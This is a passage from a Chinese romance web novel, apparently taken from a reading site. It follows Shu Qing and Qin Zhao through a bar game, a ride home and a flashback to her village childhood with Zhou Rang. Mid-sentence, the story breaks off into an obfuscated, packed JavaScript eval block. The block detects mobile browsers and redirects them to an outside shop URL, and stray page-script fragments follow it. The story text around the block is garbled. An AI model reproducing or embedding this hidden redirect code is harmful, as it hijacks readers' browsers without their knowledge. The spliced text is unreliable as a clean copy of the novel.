这个问题回答不好,那就是送命题,众人饶有兴致地等着他的回答。 这些问题哪个都不好回答,秦兆又是个不会撒谎的人,舒晴不由得为他捏了把冷汗。 “因为不联姻,她不会嫁给我。” 话音刚落,周围仿佛炸了锅。 “我靠,感情你才是那个被动的一方,秦兆你真是让我大跌眼镜。”顾阳说。 傅薇暗暗给舒晴竖了个大拇指,“我真心向你讨教御夫之道。” 舒晴尴尬的笑了两声,她哪会什么御夫之道? 秦兆这话咋一听是挺深情的,舒晴内心微动,忍不住观察他神色,却分辨不出他有没有撒谎的意味。 而秦兆则坦然和她对视,仿佛在询问有什么事,舒晴垂下视线,低头喝酒。 “少喝点,别回头醉了。”秦兆提醒她。 “嗯。” 游戏继续,瓶口转转悠悠,指到谁谁都面如菜色,问的问题都是五花八门,尺度爆表,众人越玩越嗨,舒晴在一旁笑的乐不开怀,后面却笑不出来了,因为命运的酒瓶对准了她。 舒晴的笑容僵在嘴边,缓缓看向转动瓶子的主人,只见顾阳笑吟吟看着她。 她没选真心话,怕自己招架不住他们那些乱七八糟的问题。 “那就请嫂子选个人来一个法式深吻。”顾阳笑得不怀好意。 舒晴瞳孔巨颤,慌得手脚都不知道往哪里摆。 在座的人除了秦兆,哪个她都不能亲吧,还法式深吻, 这个顾阳就是故意的。 舒晴后悔了,今晚就不该过来,在众人面前和秦兆秀恩爱,也不是她的义务,都怪她当时脑子抽风了,才答应他。 要不要亲? 舒晴在心里天人交战。 在座的一圈人皆期待地看着她。 她和秦兆顶多拉过手,同过床,无法想象自己和他接吻,那跟亲自己的兄弟姐妹有什么区别,而且他看起来也不会那么做。 但那么多人看着,她也不想扫兴。 想着干脆借位吧。 好在她和秦兆坐在沙发边缘,只要她用身体挡住秦政,那群人就只能看到她的后脑勺,遮住他们窥探的视线。 舒晴抱着一不做二不休的心情,转身面向秦兆。 秦兆见她以一副视死如归的表情慢慢凑近自己,莫名想笑,但是当她温软的双手倏地捧住自己脸时,他笑不出来了。 舒晴精致的脸渐渐在他眼前放大,秦兆呼吸近乎停滞,漆黑的眼一眨不眨地盯着他,所有的感官都在她身上,周围的喧嚣仿佛渐次远去,昏暗的空间中,仿佛只剩下他们两个。 呼吸交错,滚烫灼人。 舒晴感受到秦兆独有的气息,脸烧起来,身子有些发软,接下来该怎么做才能不让他们看出来? 她身体前倾,缓缓闭上眼,脑海中会想起曾经电影里面的接吻片段,依葫芦画瓢似的轻微转动脑袋,做出正在接吻的动作,秦兆不知道是被她胆大包天的动作惊到了还是怎么样,僵着躯体配合着她,让舒晴生出了可以对他为所欲为的错觉。 因为她这一动作,包厢里的尖叫声差点冲破天花板。 “嫂子你用手挡住有什么意思。”顾阳看热闹不嫌事大。 “就是啊,让我们看看呗。” “嫂子害羞,你就让让她吧。”傅薇说。 “还让嫂子主动,秦兆你行不行啊?” 其他人纷纷伸长脑袋看向正在拥吻的两人,但还没看仔细,就见舒晴退开了。 “这样行了吧。”舒晴坐直身,拿起酒杯低头浅抿,样子看起来从容不迫,只是耳尖红得厉害。 秦兆注意到她羽扇般的长睫眨个不停,喉间不由得溢出一声低笑,平日里清冷淡漠气息尽息收敛。 舒晴刚才的动作着实惊到他了,没想到她这么大胆,在她向他转过来的前一秒他已经想好怎么替 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678543|142779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她解围了。 “秦兆你是个妻管严就算了,接吻还要嫂子主动你还是人吗。” “你们今晚真是撒足狗粮了。” “婚礼我们要坐前排。” 一群人说说笑笑,调侃不停,聊到半夜大家才意犹未尽地结束。 舒晴和秦兆并肩走出酒吧的大门,晚风徐徐,吹拂着他们的脸颊,街道上的霓虹灯闪烁着微光。 时间接近凌晨,往常这时候她早就睡了,舒晴将鬓边乱发撩于耳后,耷拉着眼皮坐上副驾驶位,懒懒打了个哈欠。 “困了?”秦兆问。 “有点。” “我尽量开快点。” 秦兆发动引擎,缓缓将车子开上主路。 一路上他们都没怎么说话,安静的空间里,舒晴闻到自己身上淡淡的酒气,皱了皱眉,按下自己一侧的车窗,任晚风吹进来,驱散那熏人的酒味。 想起今晚滴酒未沾的秦兆,舒晴问道:“他们知不知道你生病了?” “不知道。” “难道就我一个人知道?” “嗯,”说到这个,秦兆有点好奇瞧她一眼,“你当初是怎么知道的?” “我爸上次住院那天,我在医院看到你,恰好听到照顾你的护士说的。” 秦兆操控着方向盘,眼里染上不知名的情绪,声音低沉:“你明知道,为什么还愿意嫁给我?” 舒晴靠着椅背,目视前方,半真半假地说:“一方面是为了报恩。” 秦兆墨眉微挑,“报恩?” “你没听过一句老话吗——滴水之恩当涌泉相报,”舒晴慢悠悠地说,“当初你救我逃出大山,我便以身相许喽。” “是吗,那当初是谁都到了民政局门口了,还推三阻四的?” 车外昏黄的路灯照进来,舒晴清晰地看到他漆黑如墨的眼里带上调笑的意味,干脆破罐子破摔,“因为不知道嫁给你对我有什么好处啊,后来知道了,自然就嫁了呗。” 秦兆眼里笑意未减,舒晴看他这副气定神闲的样子莫名来气,“所以你啊,还是趁早去治,别到时候遗产全落我一个外人手里,你气得要诈尸。” 秦兆愉悦地点点头,“我会的。” 晚上两人住在了他们的婚房,只不过是一人一间。 此刻舒晴躺在床上,睡意消弭,睁着眼望天花板,怎么睡都睡不着,她便捞过床头柜的手机玩起来,点进朋友圈的时候发现陆安安发了个视频。 25. 安慰 视频内容是民宿的vlog,拍得温馨治愈,每一帧都诉说着生活的美好,而周让劳碌着的帅气身影时不时在镜头中出现。 很显然他被陆安安当做门面宣传了。 舒晴忽然回想起以前。 那年小学毕业后,周大山不想继续花钱让她上学了,让她在家专心带周聪。 无论舒晴怎么哀求,周大山始终无动于衷,甚至一边抽着旱烟一边半耷拉眼皮欣赏她红着眼的模样,陈红妹则嘴边咧着冷笑。 周让狠狠剜了他们一眼,冷脸拉着舒晴回到屋内,让她坐在床上,目光平视她的泪眼,说:“姐姐,你不用求他,钱我来想办法。” 舒晴泪盈于睫,看着少年尚显稚嫩的脸庞,不好意思在他面前掉落泪,抬手擦了擦眼,问道:“你有什么办法?” 周让比她还小,也是任人摆布的年纪,能有什么办法。 周让没说话,警觉地扫了一眼虚掩的房门,不放心地走过去,探头往外瞧了瞧,见无异状,抬手把门栓上,接着在舒晴疑惑不解的目光中走到墙角,轻轻把堆积的杂物挪走,露出墙下一个黑洞,伸手往里摸索。 舒晴屏气凝神看着,见他从中掏出一个脏兮兮的黑色塑料袋。 他拍掉上面的灰尘,解开塑料袋,塑料袋里面又套了一层层的袋子,就让一一解开,最后露出一个红布包着的一大沓纸币。 舒晴瞪大双眼,没想到他竟然在这里藏了钱,她慢慢走过去,低声问道,“你怎么会有钱?” “这是我妈妈以前留给我的,”周让说,“你和我一起数一数,看看有多少钱?” “好。” 舒晴在地上盘膝而坐,周让把零零散散的纸币放在地上,学着她的姿势坐下来。 这些纸币大多是一毛两毛的,最大的币值只有五毛钱,全都皱巴巴的,散发着腐朽陈旧的气息,两人将零钱一张张铺开展平,数了半天,发现只有五十二块八毛。 舒晴无言,盯着地上一张张叠好的纸币,心里涌起一股难言的心酸,她不知道,周让妈妈在这样的环境下,是如何艰难攒下这些钱的。 这点钱放在她以前连买冰淇淋的钱都不够,但这却是周让妈妈一点一点攒下的血汗钱,她怎么能染指? 舒晴眼睛红的像兔子,她吸了吸鼻翼,下巴抵着膝盖,轻声说,“周让我不能要,这是你妈妈留给你唯一的东西了。” “这钱继续留着会发霉的,不如用在需要的人身上。”少年的眼神很认真,清晰的倒映着他瘦弱的身躯。 “可是.......” “姐姐,没有可是,没有钱就不能读书,你忘了我们读书的目的是什么吗?”周让盯着她,一字一句的说,“——是要走出深山,回到更广阔的天地里去,这既是你的心愿,也是我妈妈的愿望。” 舒晴鼻子发酸,泪盈于睫,哽咽着说,“可这些钱还不够,你还是留着吧。” “别担心,”周让扬了扬眉毛,“村里要开始修水泥路了,我听山脚下的堂哥说已经在招帮工了,一天至少有三十块钱呢,我多干点活,肯定不到一个月就能把剩下的学费挣到了。” 舒晴劝不住,于是那年暑假,周让天不亮就和村里一帮青壮年去修水泥路,每天早出晚归,繁重的劳动让他甘之如饴。 日渐成长的他褪去稚嫩,有了少年人的骨架和身量,即便每天都见,舒晴乍一看之下总觉得他有些许陌生,好在他对她从来没变过。 某个午后,家里没人,舒晴正在屋前晾衣服,远远的就听到周让清朗的声音,他一路喊着姐姐,横山跨水朝她奔来,手里紧紧攥着一把纸币,激动的对她说, “姐姐,你可以继续和我上学了。”周让扬了扬手中的钱,墨瞳亮晶晶的,眉飞眼笑,彰显着蓬勃的少年意气。 舒晴见他被晒成小麦色的脸庞上满是汗水,伸手替他擦了擦,眼泪和他的汗水一起滚下来。 “姐姐,你别哭,这是好事啊,我挣了近一千块钱呢。”周让慌了神,将纸币囫囵塞到裤兜里,笨手笨脚地替她擦去眼泪。 “我是心疼你,你都晒成一个黑猴子了。”舒晴止住泪,笑着说。 周让见她笑了,也跟着笑起来:“黑就黑点吧,反正有钱就行,加上之前那些,肯定够你上学了。” 舒晴心中的感动无法言表,郑重地说:“周让,我以后会双倍...不,千万倍还给你的。” “嗯,我可是会收利息的。”周让开玩笑地说。 舒晴破涕为笑,“那你要越收越多越好。” 后来也不知道周让怎么说服周大山的,周大山终于同意她上初中。 事后舒晴问起,周让说:“我跟他说只要他不拦着你上学,每个月就给他一百块钱,而且日后我们若是考上县里的重点高中,就会有几千块的奖学金,到时候保证全给他,他就心动了。” 舒晴笑意消弭,秀气的眉毛皱起来:“可是每个月一百块钱,你从哪里弄啊?” 虽说初中是免学费的,但是她每个学期的伙食费、教材费之类的都是一笔不小的支出,他还要倒贴钱给周大山,舒晴看着刚刚和她齐高的周让,想不通他上哪找钱来。 周让说:“我可以帮村里人干农活来换取一些报酬。” “这样不行,”舒晴不赞同,“你还要上学,哪有这些闲工夫,除非你想累死你自己。” 周让沉默,凝眉思索其他办法。 舒晴清澈的眼眸眨了眨,目光扫到对面苍翠的山头时,倏地一亮。 村里人大都是靠山吃山的,每次雨后,山上都会长出一大片野生蘑菇,想到这里,她对周让说:“要不,以后我们有空就去山上采菌子买,这样不就能挣到钱了吗。” “这个注意好,”周让赞叹道,“姐姐,你真聪明。” 舒晴嘿嘿直笑。 乡里办的中学在另一个村,至少要翻越三四个山头,步行两个小时才到,为了避免迟到,舒晴和周让凌晨四点就得起床,先去山上提前割好猪草,才能去上学。 天光未亮,山路黝黑,他们时常踏着稀薄月光走在曲折陡峭的山路上,伴随着日出的第一缕光走进教室,三年来风雨无阻。 闲暇时候,他们会背着背篓上山采菌子。 山上的菌子多不胜数,尤其是雨季,牛肝菌、奶浆菌、干巴菌、鸡枞菌、大红菌、见手青、松茸之类的能捡到手软。 周让辨认菌子的能力比她强,眼又尖,常常不到一个小时就能捡大半篓,运气好的话,一次至少能捡几十斤,再把采来的菌子托人拿去镇上的野生菌收购点买,三五百块钱不在话下。 每个月除了固定给周大山一百块钱,剩下的钱周让全让舒晴保管起来。 就这样,两人靠捡菌子攒了不少钱,但后来上山采菌子的村民越来越多,他们学业越来越繁忙,挣的钱也变少了,好在舒晴上学的费用不用愁。 那段时光,舒晴时至今日回想起来,仍觉得累并快乐着。 但逃离的想法一日未曾改变。 某年春节前夕,周让有了一个随堂叔去镇上买年货的机会,舒晴那颗要逃出大山的心瞬间活泛起来,提出和周让一起去,可周大山看出了她的小心思,不许她跟去,舒晴没沮丧,私下里拜托周让到了镇上帮她打个电话联系家里人,周让不假思索地答应了。 她只记得把家里的座机号,便把号码写在周让手心里,让他找准时机打出去。 临走之前,周让俊秀的眉眼藏不住担忧,像个大人似的嘱托她:“我走后,你不要一个人留在家里,去隔壁秀秀姐家,周大山问起来,你就说你去山上割猪草。” “嗯,”舒晴答应下来,又叮咛他记得打电话。 周让走后,舒晴在家里扫了会地,见陈红妹背起周聪要回娘家看亲戚,便背起墙角的背篓出门,走出家门后闪身去了秀秀姐家。 秀秀姐是个哑巴,天生长着一张笑脸,听说也是被拐来的,嫁给了大她二十岁的瘸子,瘸子刚开始见她不听话也时常打她,直到她为他生了两个孩子才渐渐不动手,如今两人日子磕磕绊绊,还算过得去,只是家里的婆母不太好相处。 虽然秀秀姐不会说话,但是一见到他,那双会笑的眼立马弯了起来,放下手中正在织的毛线,挽过她的手,将她带到厨房,掀开锅盖,手指指着里面热气腾腾的馍馍,示意他拿一个吃,舒晴连忙摆摆手,秀秀姐,我在家吃过了,就不吃了。” 秀秀姐竟劝不动她,只好作罢,她们回到屋檐下坐下聊天,虽然大部分是舒晴再说,秀秀姐在听,偶尔用手脚比划出自己的问题。舒晴坐在板凳上,托着下巴瞧她两 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舒晴闻言眼里炙热的光瞬间熄灭,喉咙哽了哽,忍着酸涩的泪意问:“你真照我写给你的号码打了吗,会不会真打错了?” “我来回对了三遍号码,确认没错才拨出去的。” 周让向她展示手心里依旧清晰的数字,舒晴一个一个看过去,终于失望地垂下头,嘴里却喃喃道:“可能我爸妈搬家了,或者换了座机号......没事,他们找不到这里来,那我就再想想别的办法走出去,一定可以的。” 不知道是安慰周让,还是安慰自己。 舒晴眼睛只是红了一瞬,便把泪意压下去。 她已经长大了,不再是那个只会哭鼻子的小女孩。 想离开这儿,一定还有其他方法。 周让看不得她伤心难过,从口袋里掏出两块山寨德芙:“要不要吃巧克力?” “要。”舒晴的声音变得欢快起来。 她忘了伤心,眼巴巴看着他手中的巧克力。 周让笑着替她撕开包装袋,将巧克力喂到她嘴里。 舒晴慢慢咀嚼,微苦泛甜的的味道瞬间在口腔里蔓延开来,越嚼越香,可一会儿就吃没了,她意犹未尽地舔了舔嘴巴。 “我还有辣条。”他像变戏法似的从口袋里掏出两包辣条,一看就是那种几毛钱一包的,透过半透明劣质包装袋可以瞧见根根分明的辣条,空气中散发着诱人的香辣味。 舒晴弯着眼对他笑,目光颇为惊喜,她不知道多少年没吃过这种东西了,现在闻到香味都直流口水。 周让分了一包给她,舒晴吃得津津有味,嘴巴红彤彤的,被辣得不停吸气,周让也好不到哪里去,不顾形象辣得直吐舌头,正趴在院子里睡觉的大黄狗闻到香味,摇着尾巴走过来,哈喇子流了一地。 舒晴和周让对视一眼,乐得哈哈大笑。 舒晴笑着笑着就醒了,这才恍然察觉自己是在做梦,幽幽叹了口气,抓过手机看时间发现才凌晨四点半,翻了个身又继续睡。 第二天下午,秦兆和舒晴搭乘飞机飞往丽江,六点左右到达丽江,两人一起往机场外走,俊男美女的搭配吸引了许多往来,旅客的注目,徐铭易则在后边推着他们的行李。 陆安安等在出口外,见他们出来了招手打了声招呼。 舒晴笑着迎上她,“等久了吗?” “刚等了没一会儿。” 秦兆走在舒晴身后,陆安安挽着舒晴的手臂,在她耳边调侃道:“夫妻双双把家还,我怎么瞧着你们越来越像一对了呢?” 舒晴斜逆她一眼:“几天没见,你眼神越发不好了。” “周让在民宿干活这事你跟他说了吗?”陆安安和她咬耳朵。 “这有什么好说的,他就见过周让一两次,估计早忘了他是谁了,我特意跟他说做什么。”舒晴不以为然,转而问道, “民宿这段日子生意怎么样?” “还行吧。靠着周让的色相成功续租了几个小姑娘。” 出了机场,徐铭易把行李放到后备箱,然后和秦兆一起坐上后车座,舒晴坐在副驾驶,和陆安安叽叽喳喳说个不停,交流着各自的近况。 迎着夕阳的余晖,一行人回到了民宿。